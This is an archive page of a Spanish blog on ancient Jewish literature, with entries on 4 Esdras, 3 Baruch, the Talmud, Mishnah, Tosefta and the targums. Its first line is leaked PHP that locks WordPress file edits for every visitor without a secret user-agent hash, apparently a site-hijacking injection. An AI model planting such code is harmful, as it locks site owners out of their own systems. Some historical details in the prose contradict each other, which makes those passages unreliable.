if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } fevereiro 2015 – Página: 2 – Texto Bíblico

Cuarto de Esdras

Los Seudoepigráficos

Cuarto de Esdras

Segundo de Esdras

Tercero de Esdras

Cuarto de Esdras es una obra apocalíptica (se cree que fue escrito a fines del siglo I d. C.) que figura como apéndice en algunas ediciones de la Biblia. Al igual que con Primero de Esdras, existe cierta confusión acerca de la numeración de este libro. En la Vulgata aparece como Cuarto de Esdras; en las versiones eslavas y rusas, como Tercero de Esdras (cuando, como en el griego, Esdras y Nehemías son considerados un solo libro). Algunos manuscritos latinos primitivos lo llamaron 3 Esdras. Jerónimo y los manuscritos latinos medievales lo llamaron de 4 Esdras.  Este texto es a veces también conocido como “Apocalipsis de Esdras” (capítulos 3-14 conocidos como el “Apocalipsis judío de Esdras” o “4 Esdras”, capítulos 1-2 como “5 Esdras”, y los capítulos 15-16 como “Esdras 6”).

Una vez que 1 y 2 Esdras de Jerónimo se llama Esdras y Nehemías en tiempos más recientes, la designación 2 Esdras llegó a ser común en Biblias inglesas.

Para favorecer las creencias fundamentales del judaísmo, el autor de Cuarto de Esdras presenta un concepto escatológico de Dios. Dios es uno y único; no tiene instrumentos intermediarios; únicamente él es el juez final. Los israelitas son una raza elegida, y la ley es una dádiva especial para ellos después de haber sido rechazada por otros mundos. Como el amor de Dios por Israel excede a su amor por cualquier otro pueblo, los israelitas son sus verdaderos representantes para la humanidad.

Esta obra apocalíptica tiene una historia literaria complicada.  Las versiones orientales en que nos ha llegado (siríaca, etiópica, armenia, georgiana y dos en árabe) sólo registran los capítulos 3-14.  Estos abarcan probablemente la obra judía inicial, compuesta a fines del siglo I d.C.  Sólo las versiones latinas contienen el prefacio (caps. 1 y 2) y la conclusión (caps. 15 y 16), que los eruditos creen que son de origen cristiano, tal vez de los siglos II y III d.C., respectivamente.  En 1:30, por ejemplo, el pasaje parece claramente tomado de Mateo 23:37, y el texto de 1:37 es comparable con Juan 20:29. El concepto del rechazo de los judíos como pueblo de Dios y el llamado a los gentiles refleja definidamente un punto de vista cristiano (1:24, 25, 35-40; 2:10, 11, 34). 

Los capítulos 3-14 son de un supuesto Apocalipsis de Salatiel, identificado con Esdras (AS-E).  Se cree que esta parte del libro quizá fue escrito en hebreo, en algún momento próximo al fin del siglo I d.C., y que se lo llamó Esdras para que fuera aceptado por el judaísmo rabínico de la época. El AS-E contiene 7 visiones que intentan develar el futuro y dar respuesta a ciertas facetas del problema del trato de Dios con su pueblo.  El autor usa un simbolismo complicado, especialmente en las visiones de la mujer de luto (9:26-10:59), el águila de 3 cabezas (con 12 alas grandes y 8 alas menores; 11:1-12:39) y del hombre que surge del mar (13:1-56).  El cap. 14 presenta un informe ficticio de la restauración de los libros sagrados que, según dice, Nabucodonosor había quemado, y afirma que Esdras dictó, por inspiración divina, a 5 secretarios el contenido de los 24 libros del Antiguo Testamento y 70 apocalipsis.  En las versiones orientales, la historia culmina con la asunción de Esdras.  Los caps. 15 y 16 se hacen eco de algunos episodios del Nuevo Testamento. Cuarto de Esdras no es aceptado como canónico ni por católicos ni por protestantes.

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Enlaces:

Bible Gateway – NRSV

Seudoepigráficos

Introducción
Tercero de los Macabeos
Cuarto de los Macabeos
Jubileos
Primero de Enoc (Enoc Etiópico)
Segundo de Enoc (Enoc eslavo)
Segundo de Baruc
Tercero de Baruc
Cuarto de Esdras
Testamentos de los doce patriarcas
Oráculos sibilinos
La asunción de Moisés
Carta de Aristeas
Libro de Adán y Eva
Martirio de Isaías
Pirqe Aboth (Dichos de los padres)
Salmos de Salomón
El relato de Ahikar

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Tercero de Baruc

Los Seudoepigráficos

Tercero de Baruc

Apocalipsis Griego de Baruc

Baruc griego

Tercero de Baruc -también llamado Apocalipsis Griego de Baruc, o Baruc griego– apoya la creencia de que hay siete cielos y tres clases de ángeles que interceden por tres clases de hombres.

Mientras Baruc llora por la destrucción de Jerusalén, es confortado por un ángel del Señor que le promete mostrar “los misterios de Dios”, si cesa de provocar a Dios (1:6, 7). A continuación el ángel lo va introduciendo sucesivamente en los cinco cielos y le muestra los diversos habitantes de cada uno de ellos. El ángel le explica el significado simbólico de las cosas que contempla en el viaje.  Los caps. 6 a 9 tratan acerca del sol, la luna y las estrellas.

El autor de Tercero de Baruc cree que el árbol prohibido fue la vid (4:8) y que la desobediencia de Adán se debió a Satanás, que sentía envidia de Cristo (4:9).

En este libro pareciera haber influencia cristiana, y probablemente fue escrito no antes del siglo II d. C.

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Enlaces externos:

The Greek Apocalypse of Baruch or 3 Baruch

Early Jewish Writings: 3 Baruch

The Jewish Encyclopedia: “BARUCH, APOCALYPSE OF (Greek)

Apocalipsis griego de Baruc. Introducción, traducción y notas

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Eruditos judaicos

La obra de los eruditos judaicos respecto a los escritos bíblicos y no bíblicos no cesó cuando se completó el Talmud. Durante los siglos siguientes se produjeron numerosos comentarios del Talmud, como también comentarios acerca de la Biblia hebrea. Hasta el siglo X toda la interpretación judaica del Antiguo Testamento (Biblia hebrea) se efectuó con la ayuda de la Haggadá o de alegorías.

Las interpretaciones alegóricas también estuvieron en boga entre los “padres” cristianos. Sin embargo, la influencia posterior de la erudición arábiga trajo un cambio que indujo a los eruditos judaicos a que dieran a sus estudios un enfoque gramatical y lexicográfico más sólido, y se logró una comprensión más racional de la Biblia hebrea. Los comentadores más antiguos que merecen esta designación fueron Saadia ben José (m. 942), Samuel ben Hofni (m. 1034) y Moisés ibn Gikatilla, que vivió en la última parte del siglo XI. Sin embargo, las lumbreras máximas entre los comentadores judaicos trabajaron en los siglos XII y XIII. Entre éstos se cuentan Rashi (o Raschi), Ibn (o Abén) Ezra, David Kimhi y Maimónides, cuyas obras no sólo han influido en el pensamiento religioso judío hasta el día de hoy sino también, en menor grado, en el pensamiento de los comentadores cristianos.

Rashi (1040-1105), rabino francés, escribió comentarios acerca de la Biblia y del Talmud. Su comentario bíblico ha sido impreso en la mayoría de las Biblias rabínicas, y su comentario sobre el Pentateuco es muy usado entre los judíos.

Ibn Ezra (1092-1167) fue un judío español que viajó mucho en la zona del Mediterráneo, por lo que adquirió un conocimiento enciclopédico tan grande que sus comentarios acerca de los libros bíblicos fueron valiosas fuentes de información.

David Kimhi (1160-1235) pertenecía a una familia de eruditos judíos de Francia. Su mayor obra exegética es un comentario de los libros proféticos del Antiguo Testamento; sin embargo, tuvo más influencia como gramático y lexicógrafo. Su famosa gramática hebrea, que contiene una lista de raíces hebreas, durante siglos constituyó la base de la escritura gramatical hebrea tanto para los judíos como para los cristianos.

Maimónides (1135-1204) fue el más notable de todos los eruditos y filósofos judíos de la Edad Media. Nació en España y se hizo famoso como líder del judaísmo en Egipto. Su comentario arábigo sobre la Mishnah dio verdadero significado a muchas frases oscuras de los antiguos rabinos, y extrajo de ellas valores éticos y dogmáticos. Sus obras influyeron tanto en los escolásticos cristianos como en los filósofos musulmanes. Tomás de Aquino, Meister Eckhart y aun el filósofo Leibnitz dedujeron ideas filosóficas básicas de Maimónides.

Tosefta

ANTIGUA LITERATURA JUDÍA

El Talmud

Tosefta

Tosefta (arameo), significa “extensión”, “complemento”, “adición”, es una colección e interpretación de sentencias halákicas que no se encuentran en la Mishnah ni están citadas como Baraitas en la Guemara. De manera que en realidad no es una parte del Talmud.

A semejanza de la Mishnah, la Tosefta está dividida en seis órdenes (Sedarim), pero en total sólo abarca 59 opúsculos en comparación con los 63 de la Mishnah -faltan: Aboth [o Avot](Nezikin), y Tamid, Middot y Kinnim (de Qodashim).

No se conocen con exactitud sus recopiladores originales, pero deben haber hecho su obra antes de que se completara el Talmud.

Manuscritos de la Tosefta

Existen tres manuscritos:

1. Viena (fines del siglo XIII a comienzos del siglo XIV) – Oesterreichische Nationalbibliothek Cod hebr. 20).

The Vienna Manuscript, folio 15. End of Berachot, beginning of Peah.

Le faltan las siguientes pequeñas secciones de la Tosefta:

1) Demai, mitad del capítulo 5 – capítulo 8

2) Terumot, capítulo 1 – mitad del capítulo 2

3) Nazir, mitad del capítulo 3 – mitad del capítulo 4

4) Sotah, mitad del capítulo 6 – mitad del capítulo 7

5) Bava Batra, mitad del capítulo 2 – mitad del capítulo 4

6) Sanhedrin, mitad del capítulo 8 – mitad del capítulo 9

7) Makkot, capítulo 2

8) Ohalot, mitad del capítulo 4 – mitad del capítulo 5

9) Mikvaot, mitad del capítulo 3 – mitad del capítulo 6

10) Zavim, mitad del capítulo 1 – mitad del capítulo 3

 

2. Berlin (siglo XII)- Staatsbibliothek (Preussischer Kulturbesitz) Or. Fol. 1220 – Érfurt

Este manuscrito de la Tosefta parece ser el más antiguo que existe, pero no está completo. contiene los cuatro primeros Sedarim (Zerayim, Moed, Nashim y Neziḳin) de la Tosefta y los cuatro primeros y medio capítulos de Masechta Zevachim.

The Erfort Manuscript, folio 16. End of Berachot, beginning of Peah.The London Manuscript. Shekalim, chapter 3.

3. Londres (siglo XV) – British Library Add. 27296 (Cat. Margoliouth 445).

Es el más reciente y el segundo manuscrito más breve de la Tosefta, ya que contiene solamente Seder Moel y Masechta Chulin en 73 páginas.

The London Manuscript, chapter 3.

Además de estos tres manuscritos, existen también pequeñas secciones de la Tosefta que se encontraron en la Geniza de El Cairo y la Geniza Europea. Uno de estos fragmentos ha sido llamado de Manuscrito Schocken, aunque la mayoría de los estudiosos lo consideran como un fragmento ya que contiene sólo cuatro páginas conuna pequeña parte de la Seder Nezikim. El final del capítulo 11 de Bava Kama hasta el capítulo 5 de Bava Metzia. El fragmento, en sí mismo, no está completo porque las páginas fueron arrancadas. Se conserva en la Biblioteca Schocken del Seminario Teológico Judío en Jerusalén y está etiquetado como Manuscrito 2.041.

The Schockhen Manuscript. Bava Metzia, chapter 5.

Los “fragmentos Geniza” de la Tosefta se originan, principalmente, de la Geniza de El Cairo o de la Geniza Europea (la mayoría italiana) y se dispersan a través de varias colecciones de muchas bibliotecas de todo el mundo. Entre ellos está el  fragmento existente más antiguo de la Tosefta: siglo X, de la ciudad de Norcia, Italia, que contiene una parte de Masechta Nedarim.

Geniza Fragment from the Italian Geniza. Bologna, Italy, Archivio di Sato, Hebrew fragment 14.

 

Oldest extant Geniza Fragment of the Tosefta from de Italian Geniza.

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Enlaces externos:

Jewish Encyclopedia – TOSEFTA

Catholic Encyclopedia – Tosephta

Introduction to the Tosefta – Manuscripts of the Tosefta

Tosefta Berachot

Wikipedia – Tosefta

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ANTIGUA LITERATURA JUDÍA

El Talmud
Tradición oral
La Mishnah
Guemara
Tosefta

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Guemara

ANTIGUA LITERATURA JUDÍA

El Talmud

Guemara

(o “Guemarra”)

La codificación de la Mishnah dio fin a una era en la historia de los judíos, pues significó la terminación de la obra de los Tanna’im (sing. Tanna, “instructor”), los “tradicionalistas”, que habían transmitido la Halaká oralmente de una generación a otra. Durante el período siguiente, los eruditos de la ley judía son llamados ‘Amoraim (arameo: “aquellos que dicen” o “aquellos que comentan”), “pronunciadores” o “exégetas”. Consideraban que su tarea era estudiar la Mishnah para interpretarla y resolver sus contradicciones reales o aparentes.

Los ‘Amoraim trabajaron intensamente durante los siglos III y IV de la era cristiana, y su material nuevo – que consiste de una esmerada exégesis de la Mishnah – fue codificado durante los siglos IV y V. En ese tiempo, este material exegético fue llamado Talmud (“enseñanza”); sin embargo, en épocas posteriores llegó a conocerse como Guemara, “terminación”, y con frecuencia ahora se aplica la palabra Talmud a la Mishnah y la Guemara combinadas. En la Guemara se incluyen Baraitas o declaraciones de la Halaká que no encontraron lugar en la Mishnah.

La Mishnah era una obra unificada escrita en hebreo y aceptada por todos los judíos, pero la Guemara de los eruditos palestinos – conocida como el Talmud de Jerusalén – era notablemente diferente del de sus colegas babilonios, que es llamado el Talmud Babilónico. El Talmud de Jerusalén incluye la Guemara de 38 opúsculos de las primeras cuatro órdenes de la Mishnah y de un opúsculo de la sexta orden.

The first page of the Vilna Edition of the Babylonian Talmud, Tractate Berachot, folio 2a.

La Mishnah fue escrita en hebreo, pero la Guemara del Talmud de Jerusalén fue compuesta en un dialecto arameo occidental. El Talmud Babilónico incluye la Guemara de 34 opúsculos de la Mishnah, de las órdenes segunda a quinta, y de un opúsculo de la primera orden y de la sexta.

A page of a medieval Jerusalem Talmud manuscript, from the Cairo Genizah.

Tanto en el Talmud Babilónico como en el de Jerusalén, la Mishnah está en hebreo; pero la Guemara del primero de ellos está en un dialecto arameo occidental, mientras que la del último está en un dialecto arameo oriental. El Talmud de Jerusalén tuvo poca aceptación fuera de Palestina; pero el Talmud Babilónico se ha convertido en la norma aceptada por los judíos ortodoxos desde su edición final c. 500 d. C.

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Enlaces externos:

The Babylonian Talmud

Gemara

Talmud

Babylonian Talmud [Full Text] | Jewish Virtual Library

Judaism: The Oral Law –Talmud & Mishna

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ANTIGUA LITERATURA JUDÍA

El Talmud
Tradición oral
La Mishnah
Guemara
Tosefta

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La Mishnah

Mishnah-A-Zeraim-1

ANTIGUA LITERATURA JUDÍA

El Talmud

La Mishnah

La Mishnah (literalmente “repetición”) es la codificación de la ley tradicional de los judíos. Contiene reglas y requisitos formulados a través de muchos siglos por el sanedrín, por Hillel, Shammai y por otros famosos rabinos. Contiene conclusiones tomadas de decisiones acerca de casos nuevos en los cuales las reglas antiguas necesitaban ser reinterpretadas o modificadas. Por eso las reglas y las prohibiciones rituales religiosas constituyen la mayor parte de la Mishnah.

El que preparó la Mishnah fue Judá, hijo de Simón (c. 135 d.C. – c. 220 d.C.), conocido comúnmente como Judá ha-Nasi (“Judá el Príncipe”), o simplemente como Rabino. El dirigió la preparación de la primera edición completa de la ley tradicional judía en forma escrita. Judá ha-Nasi era un erudito sumamente agudo. Estudió griego, latín y astronomía con maestros seculares, y las enseñanzas de la ley judaica con varios destacados eruditos de su tiempo. Pronto aventajó a todos sus instructores y llegó a ser una autoridad tan reconocida en halaká, que sus decisiones fueron colocadas por encima de las del sanedrín, cuyos reglamentos se consideraban obligatorios sólo si el rabino Judá los sancionaba. Por ser presidente del sanedrín recibió el título de hanasi, “el Príncipe”; y por sus estrictos hábitos de vida se lo consideraba haqqadosh, “el santo”. Siguió los pasos de Akiba y de Meïr, y puso orden en las muchas reglas halákicas y las agrupó en temas tales como días de fiesta, ofrendas, purificación, etc. Esa obra fue terminada alrededor del año 200 d. C., y se ha convertido en la Mishnah oficial del judaísmo.

La Mishnah se convirtió después del Antiguo Testamento en la principal fuente de estudios religiosos judaicos, y con frecuencia su autoridad lo ha reemplazado. También llegó a ser el vínculo espiritual que unió a los judíos esparcidos en muchas naciones. Después de que la Mishnah se convirtió en norma de vida, lo cierto es que el sanedrín y los dirigentes judaicos fueron casi superfluos.

Según la distribución hecha por Judá ha-Nasi, la Mishnah está dividida en seis sedarim, u “órdenes” que contienen 63 opúsculos, cada uno con un nombre que indica su contenido.

Las seis “órdenes” son:

1. Zeraim (“semillas”): contiene 11 opúsculos (Berakhot [Berachot],  Pe’ah,  Demai,  Kil’ayim [Kilayim],  Shevi’it,  Terumot,  Ma’aserot,  Ma’aser Sheni,  Hallah,  Orlah,  Bikkurim), y trata principalmente de agricultura y sus productos.

3. Nashim (“mujeres”): contiene 7 opúsculos (Yevamoth [o Yebamoth, Yevamot, Yebamot],  Ketubot, Nedarim, Nazir, Sotah, Gittin, Kiddushin) y trata principalmente de reglas del matrimonio y la vida conyugal.

2. Moed (“fiestas establecidas”): contiene 12 opúsculos (Shabbat, Eruvin, Pesahim, Shekalim, Yoma, Sukkah, Beitza, Rosh Hashanah, Ta’anit, Megillah, Mo’ed Katan, Hagigah) y presenta reglas en cuanto al sábado y las fiestas.

4. Nezikin (“daños”): contiene 10 opúsculos y trata de las leyes civiles y criminales.

1. Bava Kamma (10 capítulos), trata de los asuntos civiles, en su mayoría los daños y la indemnización.

2. Bava Metzia (10 capítulos), trata de los asuntos civiles, en su mayoría agravios y el derecho de propiedad.

3. Bava Batra (10 capítulos), trata de los asuntos civiles, en su mayoría propiedad de la tierra.

4. Sanhedrin (11 capítulos), trata de las normas de procedimiento judicial en el Sanedrín, la pena de muerte, y otros asuntos criminales.

5. Makkot (3 capítulos), trata de testigos falsos, ciudades de refugio y el castigo de azotes.

6. Shevu’ot (8 capítulos), trata de los distintos tipos de juramentos y sus consecuencias.

7. Eduyot, (8 capítulos), presenta estudios de casos de disputas legales en tiempos de la Mishnah y los diversos testimonios que ilustran varios sabios y principios de la Halaká.

8. Avodah Zarah, 5 capítulos; trata de las leyes de las interacciones entre los Judíos y Gentiles y / o idólatras (desde una perspectiva judía).

9. Aboth [o Avot] (5 capítulos), es una colección de máximas morales y religiosas de los sabios.

10. Horayot (3 capítulos), trata de la expiación para los principales errores cometidos por el Sanedrín.

5. Qodashim [o Kodashim, o Qodhashim] (“cosas santificadas”): contiene 11 opúsculos (Zevahim, Menachot, Hullin, Bechorot, Arachin, Temurah, Keritot, Me’ilah, Tamid, Middot, Kinnim) y trata de las ofrendas.

6. Tohoroth (“limpiezas”): contiene 12 opúsculos (Kelim, Oholot, Nega’im, Parah, Tohorot,  Mikva’ot,  Niddah,  Makhshirim,  Zavim, Tevul Yom, Yadayim, Ukzin [Uktzim]) y se ocupa de reglas en cuanto a las cosas limpias e inmundas.

La Mishnah rara vez trata de temas puramente teológicos y contiene poco material haggádico. La excepción más digna de destacarse es el opúsculo ‘Aboth, o Pirqe ‘Aboth (el opúsculo noveno de Seder Nezikin), que es una colección de aforismos edificantes de los más famosos eruditos judíos desde alrededor de 200 a. C. hasta 200 d. C. Ninguna otra parte de la Mishnah se ha traducido e impreso tan frecuentemente.

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Enlaces externos:

– The Story of the Talmud

– Mishnah

– The Mishnah

Wikipedia: – Zeraim – NashimMoedNezikin –  Kodashim – Tohoroth

Jewih Virtual Library: Nezikin – Babilonian Talmud

TOHOROTH

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ANTIGUA LITERATURA JUDÍA

El Talmud
Tradición oral
La Mishnah
Guemara
Tosefta

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Tradición oral

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ANTIGUA LITERATURA JUDÍA

El Talmud

Tradición oral

Los rabinos de la era apostólica afirmaban que la tradición oral judía era del mismo origen divino que la revelación escrita de la Torah. Esta tradición fue transmitida a las generaciones sucesivas hasta que a comienzos del siglo III d.C., aproximadamente, llegó a su forma escrita como la Mishnah y se convirtió en la norma de conducta para los judíos ortodoxos.

La tradición judía aún florecía en forma oral cuando se escribió el Nuevo Testamento, y se ocupaba principalmente de la exégesis de las Escrituras hebreas, la cual se conocía como Midrash. Esta exégesis no tenía un enfoque lingüístico o histórico en el sentido moderno, sino era más bien una búsqueda de nuevo conocimiento, y el texto bíblico sólo se usaba para dar orientación e inspiración. Esta exégesis se basaba en deducciones lógicas, en combinaciones de pasajes relacionados entre sí e interpretaciones alegóricas.

El Midrash que trata de temas históricos o dogmáticos recibe el nombre de Haggadá (“expresión”), o Midrash haggádico, y la parte que trata de asuntos legales se llama Halaká (literalmente “camino”, es decir, “una norma” o “una regla”) o Midrash halákico.

El término Haggadá se refiere a materiales no bíblicos y a la exégesis de los temas poéticos, históricos y otros asuntos no legales de la Biblia hebrea. Era la forma corriente que se usaba en la sinagoga para explicar la Biblia por medio de símbolos, alegorías, fábulas y parábolas. La Haggadá no estaba sujeta a reglas estrictas de exégesis y permitía el uso de casi cualquier recurso que dejara en el oyente una impresión duradera. La voluminosa y legendaria literatura judía del medioevo es principalmente el resultado de la exégesis haggádica de la Biblia. Sin embargo, sólo una pequeña parte del Talmud debe su origen a la Haggadá.

El término Halaká se refiere a los reglamentos religiosos basados principalmente en las secciones legales de la Biblia. La Haggadá era el sistema de exégesis que se usaba principalmente en los servicios de las sinagogas, en tanto que la Halaká se estudiaba en las escuelas religiosas más avanzadas. Si era posible hacerlo, se le daba una base de las Escrituras a los reglamentos halákicos; pero muchas reglas para las cuales no había base bíblica eran defendidas apoyándose en la pretensión de que habían sido entregadas a Moisés en el Sinaí sólo en forma oral. La Halaká fue codificada sistemáticamente, y la máxima ambición de cada judío erudito en la ley (los “escribas” del Nuevo Testamento) era aprender y entender todas las reglas halákicas relacionadas con la vida religiosa y secular de un judío escrupuloso.

Los maestros supremos de la Halaká fueron Hillel el Anciano (murió c. 20 d. C.) y Shammai. Ambos elaboraron sus enseñanzas en las últimas décadas del siglo I a. C., y sus seguidores formaron escuelas separadas. Hillel era famoso por la dulzura de su carácter, que se manifestaba en reglamentos más liberales que los enunciados por Shammai. Si bien concordaba con Shammai en que la letra de la Torah debía cumplirse literalmente, la interpretaba de tal manera que sólo debían cumplirse los requerimientos mínimos de la ley; en cambio Shammai era estricto y exigía a sus seguidores los requerimientos máximos de la ley.

Para los no judíos con frecuencia deben haber parecido artificiales las diferencias entre las escuelas de Hillel y de Shammai.

La naturaleza de los puntos de vista halákicos y las diferencias entre Hillel y Shammai se ilustran con el siguiente ejemplo: Shammai dictaminaba que no era permitido vender cosa alguna a un gentil o ayudarlo a cargar su bestia si iba a viajar con esa carga en sábado; Hillel no veía ningún mal en permitir esto (Mishnah Shabbat 1. 5). ¹

Un ejemplo bastante extremo de la minuciosidad de Shammai, era su insistencia en que cuando se buscaban aves para sacrificar en un día de fiesta, no se podía mover una escalera de un palomar a otro, sino sólo de una abertura a otra del mismo palomar; en cambio Hillel permitía ambas cosas (Mishnah Betzah 1. 2).²

Sin embargo, hay unos pocos casos en los cuales las reglas de Hillel parecen más estrictas que las de Shammai. Por ejemplo, permitía que se comiera un huevo puesto en sábado; pero Hillel lo prohibía argumentando que las restricciones para preparar alimento en sábado se aplicaban no sólo a los hombres sino también a las gallinas (Mishnah Eduyoth 4. 1).³

Después de que Tito destruyó a Jerusalén, se fundó una academia de conocimientos judaicos en Jamnia, al sur de Jope. Aquí también se reorganizó el sanedrín. El primer director de este centro de sabiduría judaica fue el rabino Johanán ben Zakkai. El fue quien logró conservar la tradición judaica para la posteridad, haciéndola – después de las Escrituras hebreas – el centro de todo el pensamiento y la vida de los judíos ortodoxos. El más famoso de sus sucesores fue el rabino Akiba (c. 50 d. C. – c. 132), uno de los principales pensadores judíos de todos los tiempos. De acuerdo con las opiniones de los rabinos, Akiba logró una comprensión más profunda y más penetrante de la ley que Moisés mismo.

Los primeros años de la vida de Akiba están velados por la oscuridad, pero se sabe que era de origen humilde y que no comenzó sus estudios hasta que fue un hombre maduro. Como aprendió a leer y a escribir siendo adulto, mantuvo un respeto temeroso y místico hacia la escritura. Esa reverencia se manifestó en una exégesis que daba sentido no sólo a las frases y las palabras, sino también a las letras y a las partes de éstas. Consideraba que su principal tarea era la de hallar una base bíblica real o supuesta para cada halaká mediante una deducción lógica, con lo cual logró dar un orden sistemático a la gran masa de material halákico. Así creó la primera recopilación completa de la Mishnah. Aunque ese material todavía no había sido registrado por escrito, es posible que algunas pequeñas recopilaciones halákicas fueran escritas bajo su dirección.

El rabí Akiba es, además, importante porque fue uno de los líderes del Concilio de Jamnia (c. 90 d. C.), donde se tomaron importantes decisiones acerca del canon y del texto hebreo de la Biblia, y también porque apoyó al revolucionario Barcoquebas como al Mesías prometido, durante la guerra que comenzó en 132 d. C. Es evidente que fue hecho prisionero por los romanos aun antes de que estallara la guerra. Murió como mártir, al final de la guerra.

El más ilustre de los discípulos de Akiba fue el rabino Meïr, que continuó y completó el sistema legal de su maestro. Su importancia es evidente por el hecho de que en la Mishnah es citado más que cualquiera de sus predecesores.

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¹ “The Beth Shamai says: One shall not sell anything to a Gentile (on Friday) or help him load his animal, or help him shoulder a burden unless he (the Gentile) can reach (with his load) the nearest place while it is yet day. The Beth Hillel permits this.” (The Babylonian Talmud, Book 1: Tract Sabbath, tr. by Michael L. Rodkinson, [1903], at sacred-texts.com) CHAPTER I. REGULATIONS REGARDING TRANSFER ON SABBATH. MISHNA V.

² “Beth Shammai say: It is prohibited to remove a ladder from one dove-cote to another; it may, however, be inclined from one opening to another (of the same dove-cote). But Beth Hillel allow both.” TRACT BETZAH (YOM TOB). CHAPTER I. MISHNA II (pág 15).

³ “In the following cases the decisions of Beth Shamai are lenient, and those of Beth Hillel rigorous. An egg laid on a holiday is, according to Beth Shamai, allowed to eat on that day, but is not so according to Beth Hillel.” Tract Eduyoth (Testimonies) CHAPTER IV, MISHNA I.

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The Babylonian Talmud

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ANTIGUA LITERATURA JUDÍA

El Talmud
Tradición oral
La Mishnah
Guemara
Tosefta

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El Talmud

Талмуд_Вавілонскі._Трактат_Сангедрын_02
Portada del Talmud de Babilonia, edición de Vilna, 1881.

ANTIGUA LITERATURA JUDÍA

El Talmud

El conjunto de leyes civiles y canónicas de los judíos está contenido en una obra muy extensa conocida como el Talmud, palabra que significa “enseñanza”.

El Talmud se originó en la tradición oral que fue desarrollándose a través de varios siglos y comenzó a escribirse aproximadamente a comienzos del siglo III d. C., con la codificación de su parte básica: la Mishnah (codificación de la ley oral, dividida por temas en diversos tratados).*

En los dos siglos siguientes se elaboró y codificó un gran conjunto de comentarios, exposición y debate sobre las diversas secciones de la Mishnah, que se conoce como la “Gemara” (Guemara o Guemarra).

Estas dos colecciones constituyen el Talmud y suministran la estructura del judaísmo tradicional.

Existen dos versiones del Talmud: el Talmud de JerusalénTalmud Yerushálmi o Talmud Palestino-, que se redactó en la entonces recién creada provincia romana llamada Philistea, y el Talmud de Babilonia (Talmud Bávli), que fue redactado en la región de Babilonia, en Mesopotamia.

Talmud de Babilonia, edición de Solomon ben Samson, Francia, 1342. Beth Hatefutsoth, Tel Aviv.

 

A page of a medieval Jerusalem Talmud manuscript, from the Cairo Genizah.

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* Con la destrucción del templo, la dispersión del sanedrín y la desaparición de todos los medios de gobierno propio, sólo quedó la sinagoga. Por consiguiente, aunque los judíos siguieron existiendo, unidos por vínculos de raza y de religión, cesaron por muchos siglos los vínculos nacionales y políticos. Desde entonces, su vida giraba, más que nunca antes, en torno a la sinagoga. Como ya no podían ofrecer sacrificios recurrían a la Torah como a su única fuente de fortaleza, en tanto que dirigían sus esperanzas futuras al Mesías que aún creían que vendría. La ley les proporcionaba una íntima convicción de justicia que ahora era más necesaria, pues el pueblo en general estaba lleno de melancolía y sus corazones abrumados por un sentimiento de fracaso y desesperanza; y la esperanza mesiánica les daba una seguridad de su restauración nacional y la promesa de que pronto tendrían aun más de lo que habían perdido. Aunque los judíos de esta triste época no podían tener una vida política propia, los romanos no les quitaron sus derechos políticos en el imperio ni tampoco interfirieron en nada en el uso de sus sinagogas.

Todo el sanedrín no escapó de Jerusalén, como algunos han dicho. Pero se formó un nuevo consejo en Jamnia, pueblo en la costa al sur de Jope. El director de ese nuevo centro de judaísmo fue Johanán ben Zakkai, fariseo, rabino y discípulo del famoso maestro Hillel. Era conservador, y cuando vio durante la guerra judía a donde el gobierno de los zelotes había llevado al pueblo, escapó de Jerusalén dentro de un ataúd y se rindió a los romanos. Después de la guerra consiguió permiso para establecer un colegio en Jamnia. Allí se reunieron rabinos sensatos, inteligentes y de influencia para establecer el nuevo concilio. A partir de esta fecha se obligó a los judíos a pagar impuestos al templo romano, pero el dinero que antes habían enviado para su propio templo ahora iba a Jamnia, de modo que este consejo disponía de recursos. Aunque este consejo no tenía poder legislativo ni judicial en el sentido político, presidía en la codificación de la ley y en las interpretaciones de los rabinos. Así comenzó la obra que más tarde produjo el Talmud.

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Enlaces externos:

Jewish Encyclopedia – TALMUD

The Catholic Encyclopedia – Talmud

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ANTIGUA LITERATURA JUDÍA

El Talmud
Tradición oral
La Mishnah
Guemara
Tosefta

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Los tárgumes

Antigua literatura judía

Los tárgumes

Así como los judíos del mundo romano fuera de Palestina llegaron a sentir la necesidad de una traducción griega del Antiguo Testamento, así también muchos judíos en Palestina – en los siglos posteriores al exilio – se dieron cuenta que no podían entender la Biblia en hebreo y que necesitaban una traducción al arameo. Movidos por sus tendencias más conservadoras, durante siglos se abstuvieron de hacer esta traducción, pero sí dependían de traducciones orales de los pasajes bíblicos que eran leídos durante los servicios sabáticos en las sinagogas. Después de que un pasaje era leído en hebreo, se lo traducía al arameo. Esas traducciones orales quizá comenzaron a escribirse antes del tiempo de Jesús, y con toda certeza en el siglo I d. C. Se las conoce como tárgumes o sea “interpretaciones”.

Puesto que éstas son pruebas documentales del carácter del texto hebreo que se traducía, los tárgumes tienen cierto valor en el estudio textual del Antiguo Testamento.

También son importantes porque con frecuencia revelan cuáles pasajes del Antiguo Testamento eran considerados por los judíos como profecías mesiánicas, ya que los tárgumes no sólo consisten de traducciones sino también de paráfrasis y comentarios.

En esta forma revelan cómo interpretaban los judíos hace 15 o más siglos ciertos textos que no pueden ser entendidos fácilmente por el texto hebreo existente. Los tárgumes más antiguos quizá fueron los que tratan de la Torah o los cinco libros del Pentateuco.

El tárgum mejor conocido acerca del Pentateuco es Tárgum de Onkelos, o Tárgum Babilónico. Onkelos, tradicionalmente considerado como el autor de este tárgum, frecuentemente es identificado con Aquila, el famoso alumno del rabino Akiba. Aquila es autor de una traducción muy literal del Antiguo Testamento al griego.

Texto intelinear del Libro de Números 6:3–10 en hebreo y Arameo del Tárgum de Onquelos en la Biblioteca Británica. - A portion of the Penteteuch in Hebrew, British Library Oriental MS. 1,497 containing Numbers 6:3-10, dated 12th century. Lines of the Penteteuch alternate with the Targum ascribed to Onkelos.
Texto intelinear del Libro de Números 6:3–10 en hebreo y Arameo del Tárgum de Onquelos en la Biblioteca Británica.
– A portion of the Penteteuch in Hebrew, British Library Oriental MS. 1,497 containing Numbers 6:3-10, dated 12th century. Lines of the Penteteuch alternate with the Targum ascribed to Onkelos.

El tárgum de Onkelos también es sumamente literal, pero contiene algunas secciones que son parafraseadas. Aunque está en duda su verdadera paternidad literaria, parece que originalmente fue escrito en Palestina y editado más tarde en Babilonia.

